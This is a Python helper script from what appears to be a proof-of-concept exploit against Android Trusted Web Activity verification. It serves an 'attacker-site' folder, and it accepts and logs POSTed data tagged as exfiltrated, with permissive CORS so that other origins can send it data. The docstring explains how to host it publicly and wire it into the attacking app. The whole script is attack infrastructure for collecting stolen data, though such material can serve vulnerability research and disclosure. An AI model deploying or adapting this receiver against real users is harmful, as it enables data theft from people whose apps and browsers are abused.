#!/usr/bin/env python3
"""Serves attacker-site/ for local inspection of handler.html and
assetlinks.json. NOTE: TWA verification requires the attacker origin to be
served over public HTTPS so Chrome's Digital Asset Links check can fetch
/.well-known/assetlinks.json — for the live POC, host attacker-site/ on a
real HTTPS endpoint and point ATTACKER_URL in MainActivity.java at it.
This local server is provided for convenience / file editing only."""
import http.server, socketserver, os, sys

PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 8080
os.chdir(os.path.join(os.path.dirname(os.path.abspath(__file__)),
                      'attacker-site'))

class H(http.server.SimpleHTTPRequestHandler):
    def do_POST(self):
        n = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(n)
        sys.stderr.write(f"[exfil {self.path}] {len(body)} bytes: "
                         f"{body[:200]!r}\n")
        self.send_response(204)
        self.end_headers()

    def end_headers(self):
        self.send_header('Access-Control-Allow-Origin', '*')
        super().end_headers()

with socketserver.TCPServer(("", PORT), H) as httpd:
    print(f"serving attacker-site/ on :{PORT}")
    httpd.serve_forever()